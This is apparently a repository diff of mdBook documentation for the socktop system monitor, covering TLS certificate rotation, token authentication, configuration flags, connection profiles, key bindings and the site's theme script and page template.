The auto-generated certificate is valid for ~397 days. Pinned clients don't check expiry, but `--verify-hostname` clients do, and the agent won't regenerate an expired certificate on its own. To rotate:
```bash
# On the agent host (adjust path if XDG_CONFIG_HOME is set, or
# /var/lib/socktop/.config/socktop_agent/tls/ for the packaged service)
rm ~/.config/socktop_agent/tls/cert.pem ~/.config/socktop_agent/tls/key.pem
sudo systemctl restart socktop-agent # if running under systemd
```
The agent generates a fresh pair on the next TLS start. Distribute the new `cert.pem` to clients. For a seamless rollover, append the new cert to the clients' pinned PEM first (both are accepted), then remove the old one after the agent switches.
### Example Profiles with TLS
Profiles store the pinned certificate path alongside the URL (`~/.config/socktop/profiles.json`):
```json
{
"profiles": {
"local": {
"url": "ws://127.0.0.1:3000/ws"
},
"rpi-master": {
"url": "wss://rpi-master:8443/ws",
"tls_ca": "/home/user/.config/socktop/rpi-master.pem",
"metrics_interval_ms": 1000,
"processes_interval_ms": 5000
},
"rpi-worker-1": {
"url": "wss://192.168.1.102:8443/ws",
"tls_ca": "/home/user/.config/socktop/rpi-worker-1.pem",
"metrics_interval_ms": 1000,
"processes_interval_ms": 5000
}
},
"version": 0
}
```
Then connect with `socktop -P rpi-master`. See [Connection Profiles](../usage/connection-profiles.md).
+83
View File
@@ -0,0 +1,83 @@
# Authentication Token
The agent can require a shared token from connecting clients. Without the correct token, the WebSocket connection is rejected.
- **Access control** - only clients that know the token can connect
- **Defense in depth** - combine with [TLS](./tls.md) so the token isn't sent in cleartext over untrusted networks
## Agent: Setting the Token
The token is configured with the `SOCKTOP_TOKEN` environment variable. (There is no `--token` command-line flag.)
### Running Manually
```bash
SOCKTOP_TOKEN=changeme socktop_agent --port 3000
```
### Running as a systemd Service
Add the environment variable with a drop-in (works for both APT and manual installs):
```bash
sudo systemctl edit socktop-agent
```
```ini
[Service]
Environment=SOCKTOP_TOKEN=changeme
```
```bash
sudo systemctl daemon-reload
sudo systemctl restart socktop-agent
```
Alternatively, uncomment the `# Environment=SOCKTOP_TOKEN=changeme` line that ships in the packaged unit file.
## Client: Sending the Token
The client passes the token as a `token` query parameter in the WebSocket URL. Quote the URL so your shell doesn't interpret the `?`:
```bash
socktop "ws://server:3000/ws?token=changeme"
# With TLS
socktop --tls-ca /path/to/cert.pem "wss://server:8443/ws?token=changeme"
```
**Warning:** the client's `-t` flag is short for `--tls-ca` (a certificate path), not for the token.
### In a Connection Profile
Store the token as part of the profile URL (`~/.config/socktop/profiles.json`):
```json
{
"profiles": {
"secure-server": {
"url": "ws://server.example.com:3000/ws?token=changeme"
}
},
"version": 0
}
```
Then connect:
```bash
socktop -P secure-server
```
**Note:** the profiles file then contains the token in plaintext — keep its permissions restrictive.
## Generating a Strong Token
```bash
openssl rand -base64 32
```
## Recommendations
- On untrusted networks, always combine the token with [TLS](./tls.md); over plain `ws://` the token is visible to anyone who can capture traffic.
- Rotate the token by updating `SOCKTOP_TOKEN` on the agent, restarting the service, and updating client profiles.
+105
View File
@@ -0,0 +1,105 @@
# Configuration
This page is the complete reference for configuring the socktop client and agent. Every option listed here exists in the current release — if an option isn't listed, it isn't supported.
## Client Configuration
### Command-Line Options
```
socktop [--tls-ca CERT_PEM|-t CERT_PEM] [--verify-hostname] [--profile NAME|-P NAME]
[--save] [--demo] [--compact] [--metrics-interval-ms N]
[--processes-interval-ms N] [ws://HOST:PORT/ws]
```
| Option | Description |
|---|---|
| `--tls-ca <FILE>`, `-t <FILE>` | Pin the agent's TLS certificate (PEM). Auto-upgrades `ws://` to `wss://`. See [TLS Configuration](../security/tls.md) |
| `--verify-hostname` | Enable strict hostname/SAN verification instead of certificate pinning |
| `--profile <NAME>`, `-P <NAME>` | Use (or create) a saved connection profile |
| `--save` | Overwrite an existing profile without the interactive prompt |
| `--demo` | Spin up a temporary local agent and connect to it |
| `--compact` | Pin the compact layout (normally auto-selected when the window is small) |
| `--metrics-interval-ms <N>` | Fast metrics polling interval (default: 500, clamped to ≥ 100) |
| `--processes-interval-ms <N>` | Process list polling interval (default: 2000, clamped to ≥ 200) |
**Note:** there is no `--token` client flag. Authentication tokens are passed in the URL as a query parameter: `socktop "ws://HOST:3000/ws?token=changeme"`. See [Authentication Token](../security/token.md).
### Configuration Files
The client stores connection profiles in:
- `$XDG_CONFIG_HOME/socktop/profiles.json`
- `~/.config/socktop/profiles.json` when `XDG_CONFIG_HOME` is not set
See [Connection Profiles](./connection-profiles.md) for the file format.
## Agent Configuration
The agent is configured with a small set of command-line flags and environment variables. There is no configuration file.
### Command-Line Flags
| Flag | Description |
|---|---|
| `--port <PORT>`, `-p <PORT>` | Port to listen on (default: 3000, or 8443 with TLS) |
| `--enableSSL` | Enable TLS with an auto-generated self-signed certificate |
| `--version`, `-V` | Print version and exit |
The agent always binds to `0.0.0.0` (all interfaces). To restrict access, use a firewall or an [authentication token](../security/token.md).
### Environment Variables
Core settings:
| Variable | Description |
|---|---|
| `SOCKTOP_PORT` | Port to listen on (same as `--port`) |
| `SOCKTOP_ENABLE_SSL` | Set to `1` to enable TLS (same as `--enableSSL`) |
| `SOCKTOP_TOKEN` | Require this authentication token from clients |
| `SOCKTOP_AGENT_GPU` | Set to `0` to disable GPU metrics collection |
| `SOCKTOP_AGENT_TEMP` | Set to `0` to disable CPU temperature collection |
| `SOCKTOP_AGENT_EXTRA_SANS` | Comma-separated extra IPs/DNS names to include in the auto-generated TLS certificate |
Tuning (defaults are sensible; change only if you have a reason):
| Variable | Default | Description |
|---|---|---|
| `SOCKTOP_WORKER_THREADS` | 2 | Tokio worker threads (116). The agent is I/O-bound; 2 is enough for typical use |
| `SOCKTOP_AGENT_METRICS_TTL_MS` | 250 | How long a collected metrics snapshot is served from cache |
| `SOCKTOP_AGENT_DISKS_TTL_MS` | 1000 | Disk snapshot cache lifetime |
| `SOCKTOP_AGENT_PROCESSES_TTL_MS` | 1500 | Process list cache lifetime (Linux) |
| `SOCKTOP_AGENT_NAME_CACHE_CLEANUP_THRESHOLD` | 1000 | Process-name cache sweep threshold (non-Linux) |
The TTL caches mean multiple clients polling the same agent share collection work instead of multiplying it.
### Configuring the systemd Service
The service unit (installed by the APT package at `/etc/systemd/system/` or from `docs/socktop-agent.service`) sets options on the `ExecStart` line and via `Environment=` entries. To change them without editing the packaged unit, use a drop-in:
```bash
sudo systemctl edit socktop-agent
```
```ini
[Service]
Environment=SOCKTOP_TOKEN=changeme
Environment=SOCKTOP_AGENT_GPU=0
```
Then:
```bash
sudo systemctl daemon-reload
sudo systemctl restart socktop-agent
```
To change the port or enable TLS, override `ExecStart` (it must be cleared first in a drop-in):
```ini
[Service]
ExecStart=
ExecStart=/usr/bin/socktop_agent --enableSSL --port 8443
```
See [Agent Service Setup](../installation/agent-service.md) for the full service walkthrough.
+146
View File
@@ -0,0 +1,146 @@
# Connection Profiles
Connection profiles allow you to save frequently used agent connections for quick access.
## What are Connection Profiles?
Instead of typing the full WebSocket URL every time:
```bash
socktop ws://production-server.example.com:3000/ws
```
You can save it as a profile and use:
```bash
socktop -P production
```
## Profile Configuration File
Profiles are stored in `~/.config/socktop/profiles.json` (or `$XDG_CONFIG_HOME/socktop/profiles.json`).
### Basic Profile Format
```json
{
"profiles": {
"production": {
"url": "ws://production-server:3000/ws"
},
"dev": {
"url": "ws://dev-server:3000/ws"
},
"rpi": {
"url": "ws://192.168.1.100:3000/ws"
}
},
"version": 0
}
```
### Profile with Authentication
```json
{
"profiles": {
"secure-server": {
"url": "wss://secure.example.com:3000/ws?token=your-secret-token-here"
}
},
"version": 0
}
```
**Note:** Tokens are passed as query parameters in the URL.
### Profile with TLS Configuration
```json
{
"profiles": {
"tls-server": {
"url": "wss://tls-server.example.com:8443/ws",
"tls_ca": "/path/to/cert.pem"
}
},
"version": 0
}
```
### Profile with All Options
```json
{
"profiles": {
"full-config": {
"url": "wss://example.com:8443/ws?token=secret-token",
"tls_ca": "/etc/socktop/cert.pem",
"metrics_interval_ms": 750,
"processes_interval_ms": 3000
}
},
"version": 0
}
```
**Note:** Custom intervals are optional. Values below 100ms (metrics) or 200ms (processes) are clamped.
## Creating Profiles
### Method 1: Manual Creation
Create or edit the profiles file:
```bash
mkdir -p ~/.config/socktop
nano ~/.config/socktop/profiles.json
```
Add your profiles:
```json
{
"profiles": {
"homelab": {
"url": "ws://192.168.1.50:3000/ws"
},
"cloud-server": {
"url": "wss://cloud.example.com:8443/ws?token=abc123xyz",
"tls_ca": "/home/user/.config/socktop/cloud-cert.pem"
}
},
"version": 0
}
```
### Method 2: Automatic Profile Creation
When you specify a new `--profile/-P` name with a URL (and optional `--tls-ca`), it's saved automatically:
```bash
# First connection creates and saves the profile
socktop --profile prod ws://prod-host:3000/ws
# With TLS pinning
socktop --profile prod-tls --tls-ca /path/to/cert.pem wss://prod-host:8443/ws
# With custom intervals
socktop --profile fast --metrics-interval-ms 250 --processes-interval-ms 1000 ws://host:3000/ws
```
To overwrite an existing profile without prompt, use `--save`:
```bash
socktop --profile prod --save ws://new-host:3000/ws
```
## Using Profiles
### Basic Usage
```bash
# Use a saved profile
socktop -P production
socktop --profile homelab
```
+110
View File
@@ -0,0 +1,110 @@
# General Usage
## Starting socktop
### Demo Mode
Try socktop without any setup:
```bash
# Launch demo mode
socktop --demo
```
Starts a temporary local agent on port 3231, connects to it, and monitors your local system. The agent stops when you quit (you'll see "Stopped demo agent on port 3231"). Demo mode needs the `socktop_agent` binary on your `PATH`; if it's missing, socktop explains how to install it.
### Interactive Mode
Run `socktop` with no arguments to see an interactive profile menu (if you have saved profiles):
```
Select profile:
1. prod
2. dev-server
3. demo
Enter number (or blank to abort):
```
Select a number to connect, or choose `demo` (always available). Press Enter on blank to abort.
### Monitor a Remote System
Connect to a remote agent by specifying the WebSocket URL (note the `/ws` path):
```bash
socktop ws://hostname:3000/ws
socktop ws://192.168.1.100:3000/ws
socktop --tls-ca /path/to/cert.pem wss://secure-host:8443/ws # With TLS
```
### Using Connection Profiles
For frequently monitored systems, use profiles:
```bash
# Use a saved profile
socktop -P production-server
socktop --profile rpi-cluster-01
```
Running `socktop` with no arguments lists your saved profiles interactively. See [Connection Profiles](./connection-profiles.md).
## Finding Processes
Press `/` to enter filter mode:
```
Filter: pyth_
```
This shows only processes matching "pyth" (fuzzy, case-insensitive). Press `Esc` to cancel or `Enter` to apply; `c` clears an applied filter.
Select a process with `↑/↓` and press `Enter` to open the details view (command line, working directory, per-thread CPU, journal entries, and more).
## Killing a Process
With a process selected in the list (or from inside Process Details), press `t` to terminate it. A confirmation dialog offers two actions, btop-style:
- **Terminate** - sends SIGTERM, letting the process shut down cleanly
- **Force kill** - sends SIGKILL
Things to know:
- **Local agents only.** The signal is sent by the socktop client itself, with its own privileges — it is never sent over the wire. When you're connected to a remote agent, the option doesn't appear, and an agent can never be instructed to kill anything remotely.
- **Your privileges apply.** You can only kill processes your user could kill from the shell.
- **PID-reuse guard.** If the PID has been recycled to a different process between confirmation and signal time, nothing is sent.
- Killed rows leave the list once the process actually exits.
- Requires agent and client **1.60 or newer together** on the machine where you use it — older agents keep reporting dead processes, so killed rows would linger on screen.
## Compact Layout
On small terminal windows, socktop automatically switches to a compact layout: the Disks pane is dropped, Memory/Swap sit side by side, and GPU collapses to a single line — keeping the CPU graph and per-core bars visible. Pass `--compact` to pin this layout regardless of window size.
## Command Line Options
```
socktop [--tls-ca CERT_PEM|-t CERT_PEM] [--verify-hostname] [--profile NAME|-P NAME]
[--save] [--demo] [--compact] [--metrics-interval-ms N]
[--processes-interval-ms N] [ws://HOST:PORT/ws]
```
See [Configuration](./configuration.md) for the full option reference, and [Keyboard and Mouse Controls](./keyboard-mouse.md) for all key bindings.
### Examples
```bash
# Connect with custom intervals
socktop --metrics-interval-ms 750 --processes-interval-ms 3000 ws://server:3000/ws
# Connect with an authentication token (query parameter, quoted)
socktop "ws://server:3000/ws?token=mySecretToken"
# Connect with TLS, pinning the agent's certificate
socktop --tls-ca /path/to/cert.pem wss://server:8443/ws
# Connect with TLS and strict hostname verification
socktop --tls-ca /path/to/cert.pem --verify-hostname wss://server:8443/ws
# Pin the compact layout
socktop --compact -P rpi-cluster-01
```
+50
View File
@@ -0,0 +1,50 @@
# Keyboard and Mouse Controls
## Keyboard
### Global
- Quit: `q` or `Esc`
- About: `a`
- Help: `h`
### Processes
- `/` - Start fuzzy search
- `c` - Clear search filter
- `↑/↓` - Navigate
- `Enter` - Open details
- `t` - Terminate selected process (local agents only; opens a Terminate / Force kill confirmation — see [Killing a Process](./general.md#killing-a-process))
- `x` - Clear selection
### Search (after /)
- Type - Enter query (fuzzy match)
- `↑/↓` - Navigate results
- `Esc` - Cancel
- `Enter` - Apply filter
### CPU Per-Core
- `←/→` - Scroll cores
- `PgUp/PgDn` - Page up/down
- `Home/End` - Jump to first/last
### Process Details
- `x` - Close
- `p` - Navigate to parent
- `t` - Terminate this process (local agents only)
- `j/k` - Scroll threads ↓/↑
- `d/u` - Scroll threads (10 lines)
- `[` / `]` - Scroll journal
- `Esc/Enter` - Close
### Modal Navigation
- `Tab/→` - Next button
- `Shift+Tab/←` - Previous button
- `Enter` - Confirm
- `Esc` - Cancel
## Mouse (Processes pane)
- Click "CPU %" to sort by CPU descending
- Click "Mem" to sort by memory descending
- Mouse wheel: scroll
- Drag scrollbar: scroll
- Arrow/PageUp/PageDown/Home/End: scroll
+226
View File
@@ -0,0 +1,226 @@
// Replace default mdBook themes with Catppuccin themes
(function () {
"use strict";
// Wait for DOM to be ready
if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", init);
} else {
init();
}
function init() {
addSidebarLogo();
replaceThemeList();
setupGhosttyStyleSidebar();
// Watch for sidebar changes and re-run setup
const sidebarScrollbox = document.querySelector(".sidebar-scrollbox");
if (sidebarScrollbox) {
const observer = new MutationObserver(() => {
// Wait a bit for mdBook to finish updating
setTimeout(setupGhosttyStyleSidebar, 50);
});
observer.observe(sidebarScrollbox, {
childList: true,
subtree: true,
});
}
// Also re-run on page navigation
window.addEventListener("hashchange", () => {
setTimeout(setupGhosttyStyleSidebar, 100);
});
}
function addSidebarLogo() {
const scrollbox = document.querySelector(".sidebar-scrollbox");
if (!scrollbox) {
return;
}
// Check if logo already exists
if (document.querySelector(".sidebar-logo")) {
return;
}
// Create logo container
const logoContainer = document.createElement("div");
logoContainer.className = "sidebar-logo";
// Create clickable link wrapper
const logoLink = document.createElement("a");
logoLink.href = "https://socktop.io";
logoLink.style.display = "block";
logoLink.style.textAlign = "center";
// Create logo image
const logoImg = document.createElement("img");
// Use root-relative path that works from any page depth
logoImg.src = window.location.pathname.includes("/assets/docs/")
? "/assets/docs/logo.png"
: "logo.png";
logoImg.alt = "socktop";
logoImg.style.display = "inline-block";
logoImg.style.maxWidth = "80%";
logoLink.appendChild(logoImg);
logoContainer.appendChild(logoLink);
// Insert as the very first child inside the scrollbox
scrollbox.insertBefore(logoContainer, scrollbox.firstChild);
}
function replaceThemeList() {
const themeList = document.getElementById("mdbook-theme-list");
if (!themeList) {
console.warn("Theme list not found");
return;
}
// Clear existing themes
themeList.innerHTML = "";
// Catppuccin themes
const catppuccinThemes = [
{ id: "latte", name: "Latte" },
{ id: "frappe", name: "Frappé" },
{ id: "macchiato", name: "Macchiato" },
{ id: "mocha", name: "Mocha" },
];
// Add Catppuccin themes
catppuccinThemes.forEach((theme) => {
const li = document.createElement("li");
li.setAttribute("role", "none");
const button = document.createElement("button");
button.setAttribute("role", "menuitem");
button.className = "theme";
button.id = "mdbook-theme-" + theme.id;
button.textContent = theme.name;
li.appendChild(button);
themeList.appendChild(li);
});
}
function setupGhosttyStyleSidebar() {
// Hide mdBook's default fold toggles
const defaultToggles = document.querySelectorAll(".chapter-fold-toggle");
defaultToggles.forEach((toggle) => {
toggle.style.display = "none";
});
// Get current page path to determine active item
const currentPath = window.location.pathname;
// Find all chapter items
const allChapterItems = document.querySelectorAll(
"ol.chapter > li.chapter-item",
);
allChapterItems.forEach((li) => {
// Check if this item has a nested section list
const nestedList = li.querySelector("ol.section");
// Skip if no nested list (like Introduction)
if (!nestedList) {
return;
}
const linkWrapper = li.querySelector("span.chapter-link-wrapper");
const link = linkWrapper ? linkWrapper.querySelector("a") : null;
if (!linkWrapper) {
return;
}
// Check if any child link matches current page
let hasActivePage = false;
const childLinks = nestedList.querySelectorAll("a");
childLinks.forEach((childLink) => {
const href = childLink.getAttribute("href");
if (
href &&
currentPath.includes(href.replace("../", "").replace("./", ""))
) {
childLink.closest("li.chapter-item").classList.add("active");
hasActivePage = true;
}
});
// Skip if we already added a chevron - just update state
const existingChevron = linkWrapper.querySelector(".chapter-chevron");
if (existingChevron) {
if (hasActivePage) {
nestedList.style.display = "block";
li.classList.add("expanded");
li.classList.remove("collapsed");
existingChevron.style.transform = "rotate(90deg)";
}
return;
}
// Create custom chevron
const chevron = document.createElement("span");
chevron.className = "chapter-chevron";
chevron.textContent = "";
chevron.style.cssText =
"float: right; transition: transform 0.2s ease; display: inline-block; opacity: 0.6; font-size: 1.2em; line-height: 1; user-select: none; cursor: pointer;";
// Insert chevron into the link wrapper
linkWrapper.appendChild(chevron);
// Start expanded if it contains the active page, collapsed otherwise
if (hasActivePage) {
nestedList.style.display = "block";
li.classList.add("expanded");
li.classList.remove("collapsed");
chevron.style.transform = "rotate(90deg)";
} else {
nestedList.style.display = "none";
li.classList.add("collapsed");
li.classList.remove("expanded");
chevron.style.transform = "rotate(0deg)";
}
// Add click handler to toggle
const toggleSection = function (e) {
e.preventDefault();
e.stopPropagation();
const isCollapsed = li.classList.contains("collapsed");
if (isCollapsed) {
// Expand
nestedList.style.display = "block";
li.classList.remove("collapsed");
li.classList.add("expanded");
chevron.style.transform = "rotate(90deg)";
} else {
// Collapse
nestedList.style.display = "none";
li.classList.add("collapsed");
li.classList.remove("expanded");
chevron.style.transform = "rotate(0deg)";
}
};
// Click on chevron toggles
chevron.addEventListener("click", toggleSection);
// Click on parent link also toggles if it's a dummy link
if (link) {
const href = link.getAttribute("href");
if (!href || href === "" || href === "#") {
link.addEventListener("click", toggleSection);
link.style.cursor = "pointer";
}
} else {
linkWrapper.addEventListener("click", toggleSection);
linkWrapper.style.cursor = "pointer";
}
});
}
})();
+1102
View File
File diff suppressed because it is too large Load Diff
+6
View File
@@ -0,0 +1,6 @@
<!-- Umami Analytics -->
<script
defer
src="https://unami.wittyoneoff.com/script.js"
data-website-id="caefa16f-86af-4835-8b82-c8649aea0e2a"
></script>
+365
View File
@@ -0,0 +1,365 @@
<!DOCTYPE HTML>
<html lang="{{ language }}" class="{{ default_theme }} sidebar-visible" dir="{{ text_direction }}">
<head>
<!-- Book generated using mdBook -->
<meta charset="UTF-8">
<title>{{ title }}</title>
{{#if is_print }}
<meta name="robots" content="noindex">
{{/if}}
{{#if base_url}}
<base href="{{ base_url }}">
{{/if}}
<!-- Custom HTML head -->
{{> head}}
<meta name="description" content="{{ description }}">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="theme-color" content="#ffffff">
{{#if favicon_svg}}
<link rel="icon" href="{{ resource "favicon.svg" }}">
{{/if}}
{{#if favicon_png}}
<link rel="shortcut icon" href="{{ resource "favicon.png" }}">
{{/if}}
<link rel="stylesheet" href="{{ resource "css/variables.css" }}">
<link rel="stylesheet" href="{{ resource "css/general.css" }}">
<link rel="stylesheet" href="{{ resource "css/chrome.css" }}">
{{#if print_enable}}
<link rel="stylesheet" href="{{ resource "css/print.css" }}" media="print">
{{/if}}
<!-- Fonts -->
<link rel="stylesheet" href="{{ resource "fonts/fonts.css" }}">
<!-- Highlight.js Stylesheets -->
<link rel="stylesheet" id="mdbook-highlight-css" href="{{ resource "highlight.css" }}">
<link rel="stylesheet" id="mdbook-tomorrow-night-css" href="{{ resource "tomorrow-night.css" }}">
<link rel="stylesheet" id="mdbook-ayu-highlight-css" href="{{ resource "ayu-highlight.css" }}">
<!-- Custom theme stylesheets -->
{{#each additional_css}}
<link rel="stylesheet" href="{{ resource this }}">
{{/each}}
{{#if mathjax_support}}
<!-- MathJax -->
<script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
{{/if}}
<!-- Provide site root and default themes to javascript -->
<script>
const path_to_root = "{{ path_to_root }}";
const default_light_theme = "{{ default_theme }}";
const default_dark_theme = "{{ preferred_dark_theme }}";
{{#if search_js}}
window.path_to_searchindex_js = "{{ resource "searchindex.js" }}";
{{/if}}
</script>
<!-- Start loading toc.js asap -->
<script src="{{ resource "toc.js" }}"></script>
</head>
<body>
<div id="mdbook-help-container">
<div id="mdbook-help-popup">
<h2 class="mdbook-help-title">Keyboard shortcuts</h2>
<div>
<p>Press <kbd>←</kbd> or <kbd>→</kbd> to navigate between chapters</p>
{{#if search_enabled}}
<p>Press <kbd>S</kbd> or <kbd>/</kbd> to search in the book</p>
{{/if}}
<p>Press <kbd>?</kbd> to show this help</p>
<p>Press <kbd>Esc</kbd> to hide this help</p>
</div>
</div>
</div>
<div id="mdbook-body-container">
<!-- Work around some values being stored in localStorage wrapped in quotes -->
<script>
try {
let theme = localStorage.getItem('mdbook-theme');
let sidebar = localStorage.getItem('mdbook-sidebar');
if (theme.startsWith('"') && theme.endsWith('"')) {
localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
}
if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
}
} catch (e) { }
</script>
<!-- Set the theme before any content is loaded, prevents flash -->
<script>
const default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? default_dark_theme : default_light_theme;
let theme;
try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
if (theme === null || theme === undefined) { theme = default_theme; }
const html = document.documentElement;
html.classList.remove('{{ default_theme }}')
html.classList.add(theme);
html.classList.add("js");
</script>
<input type="checkbox" id="mdbook-sidebar-toggle-anchor" class="hidden">
<!-- Hide / unhide sidebar before it is displayed -->
<script>
let sidebar = null;
const sidebar_toggle = document.getElementById("mdbook-sidebar-toggle-anchor");
if (document.body.clientWidth >= 1080) {
try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
sidebar = sidebar || 'visible';
} else {
sidebar = 'hidden';
sidebar_toggle.checked = false;
}
if (sidebar === 'visible') {
sidebar_toggle.checked = true;
} else {
html.classList.remove('sidebar-visible');
}
</script>
<nav id="mdbook-sidebar" class="sidebar" aria-label="Table of contents">
<!-- populated by js -->
<mdbook-sidebar-scrollbox class="sidebar-scrollbox"></mdbook-sidebar-scrollbox>
<noscript>
<iframe class="sidebar-iframe-outer" src="{{ path_to_root }}toc.html"></iframe>
</noscript>
<div id="mdbook-sidebar-resize-handle" class="sidebar-resize-handle">
<div class="sidebar-resize-indicator"></div>
</div>
</nav>
<div id="mdbook-page-wrapper" class="page-wrapper">
<div class="page">
{{> header}}
<div id="mdbook-menu-bar-hover-placeholder"></div>
<div id="mdbook-menu-bar" class="menu-bar sticky">
<div class="left-buttons">
<label id="mdbook-sidebar-toggle" class="icon-button" for="mdbook-sidebar-toggle-anchor" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="mdbook-sidebar">
{{fa "solid" "bars"}}
</label>
<button id="mdbook-theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="mdbook-theme-list">
{{fa "solid" "paintbrush"}}
</button>
<ul id="mdbook-theme-list" class="theme-popup" aria-label="Themes" role="menu">
<li role="none"><button role="menuitem" class="theme" id="mdbook-theme-latte">Latte</button></li>
<li role="none"><button role="menuitem" class="theme" id="mdbook-theme-frappe">Frappé</button></li>
<li role="none"><button role="menuitem" class="theme" id="mdbook-theme-macchiato">Macchiato</button></li>
<li role="none"><button role="menuitem" class="theme" id="mdbook-theme-mocha">Mocha</button></li>
</ul>
{{#if search_enabled}}
<button id="mdbook-search-toggle" class="icon-button" type="button" title="Search (`/`)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="/ s" aria-controls="mdbook-searchbar">
{{fa "solid" "magnifying-glass"}}
</button>
{{/if}}
</div>
<h1 class="menu-title">{{ book_title }}</h1>
<div class="right-buttons">
{{#if print_enable}}
<a href="{{ path_to_root }}print.html" title="Print this book" aria-label="Print this book">
{{fa "solid" "print" "print-button"}}
</a>
{{/if}}
{{#if git_repository_url}}
<a href="{{git_repository_url}}" title="Git repository" aria-label="Git repository">
{{fa git_repository_icon_class git_repository_icon}}
</a>
{{/if}}
{{#if git_repository_edit_url}}
<a href="{{git_repository_edit_url}}" title="Suggest an edit" aria-label="Suggest an edit" rel="edit">
{{fa "solid" "pencil" "git-edit-button"}}
</a>
{{/if}}
</div>
</div>
{{#if search_enabled}}
<div id="mdbook-search-wrapper" class="hidden">
<form id="mdbook-searchbar-outer" class="searchbar-outer">
<div class="search-wrapper">
<input type="search" id="mdbook-searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="mdbook-searchresults-outer" aria-describedby="searchresults-header">
<div class="spinner-wrapper">
{{fa "solid" "spinner" "fa-spin"}}
</div>
</div>
</form>
<div id="mdbook-searchresults-outer" class="searchresults-outer hidden">
<div id="mdbook-searchresults-header" class="searchresults-header"></div>
<ul id="mdbook-searchresults">
</ul>
</div>
</div>
{{/if}}
<!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
<script>
document.getElementById('mdbook-sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
document.getElementById('mdbook-sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
Array.from(document.querySelectorAll('#mdbook-sidebar a')).forEach(function(link) {
link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
});
</script>
<div id="mdbook-content" class="content">
<main>
{{{ content }}}
</main>
<nav class="nav-wrapper" aria-label="Page navigation">
<!-- Mobile navigation buttons -->
{{#if previous}}
<a rel="prev" href="{{ path_to_root }}{{previous.link}}" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
{{#if (eq ../text_direction "rtl")}}
{{fa "solid" "angle-right"}}
{{else}}
{{fa "solid" "angle-left"}}
{{/if}}
</a>
{{/if}}
{{#if next}}
<a rel="next prefetch" href="{{ path_to_root }}{{next.link}}" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
{{#if (eq ../text_direction "rtl")}}
{{fa "solid" "angle-left"}}
{{else}}
{{fa "solid" "angle-right"}}
{{/if}}
</a>
{{/if}}
<div style="clear: both"></div>
</nav>
</div>
</div>
<nav class="nav-wide-wrapper" aria-label="Page navigation">
{{#if previous}}
<a rel="prev" href="{{ path_to_root }}{{previous.link}}" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
{{#if (eq ../text_direction "rtl")}}
{{fa "solid" "angle-right"}}
{{else}}
{{fa "solid" "angle-left"}}
{{/if}}
</a>
{{/if}}
{{#if next}}
<a rel="next prefetch" href="{{ path_to_root }}{{next.link}}" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
{{#if (eq text_direction "rtl")}}
{{fa "solid" "angle-left"}}
{{else}}
{{fa "solid" "angle-right"}}
{{/if}}
</a>
{{/if}}
</nav>
</div>
<template id=fa-eye>{{fa "solid" "eye"}}</template>
<template id=fa-eye-slash>{{fa "solid" "eye-slash"}}</template>
<template id=fa-copy>{{fa "regular" "copy"}}</template>
<template id=fa-play>{{fa "solid" "play"}}</template>
<template id=fa-clock-rotate-left>{{fa "solid" "clock-rotate-left"}}</template>
{{#if live_reload_endpoint}}
<!-- Livereload script (if served using the cli tool) -->
<script>
const wsProtocol = location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsAddress = wsProtocol + "//" + location.host + "/" + "{{{live_reload_endpoint}}}";
const socket = new WebSocket(wsAddress);
socket.onmessage = function (event) {
if (event.data === "reload") {
socket.close();
location.reload();
}
};
window.onbeforeunload = function() {
socket.close();
}
</script>
{{/if}}
{{#if playground_line_numbers}}
<script>
window.playground_line_numbers = true;
</script>
{{/if}}
{{#if playground_copyable}}
<script>
window.playground_copyable = true;
</script>
{{/if}}
{{#if playground_js}}
<script src="{{ resource "ace.js" }}"></script>
<script src="{{ resource "mode-rust.js" }}"></script>
<script src="{{ resource "editor.js" }}"></script>
<script src="{{ resource "theme-dawn.js" }}"></script>
<script src="{{ resource "theme-tomorrow_night.js" }}"></script>
{{/if}}
{{#if search_js}}
<script src="{{ resource "elasticlunr.min.js" }}"></script>
<script src="{{ resource "mark.min.js" }}"></script>
<script src="{{ resource "searcher.js" }}"></script>
{{/if}}
<script src="{{ resource "clipboard.min.js" }}"></script>
<script src="{{ resource "highlight.js" }}"></script>
<script src="{{ resource "book.js" }}"></script>
<!-- Custom JS scripts -->
{{#each additional_js}}
<script src="{{ resource this}}"></script>
{{/each}}
{{#if is_print}}
{{#if mathjax_support}}
<script>
window.addEventListener('load', function() {
MathJax.Hub.Register.StartupHook('End', function() {
window.setTimeout(window.print, 100);
});
});
</script>
{{else}}
<script>
window.addEventListener('load', function() {
window.setTimeout(window.print, 100);
});
</script>
{{/if}}
{{/if}}
{{#if fragment_map}}
<script>
document.addEventListener('DOMContentLoaded', function() {
const fragmentMap =
{{{fragment_map}}}
;
const target = fragmentMap[window.location.hash];
if (target) {
let url = new URL(target, window.location.href);
window.location.replace(url.href);
}
});
</script>
{{/if}}
</div>
</body>
</html>
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

+35 -2
View File
@@ -2,6 +2,23 @@
This directory contains configuration files that will be mounted into the Docker container at runtime. This directory contains configuration files that will be mounted into the Docker container at runtime.
## Docker Usage
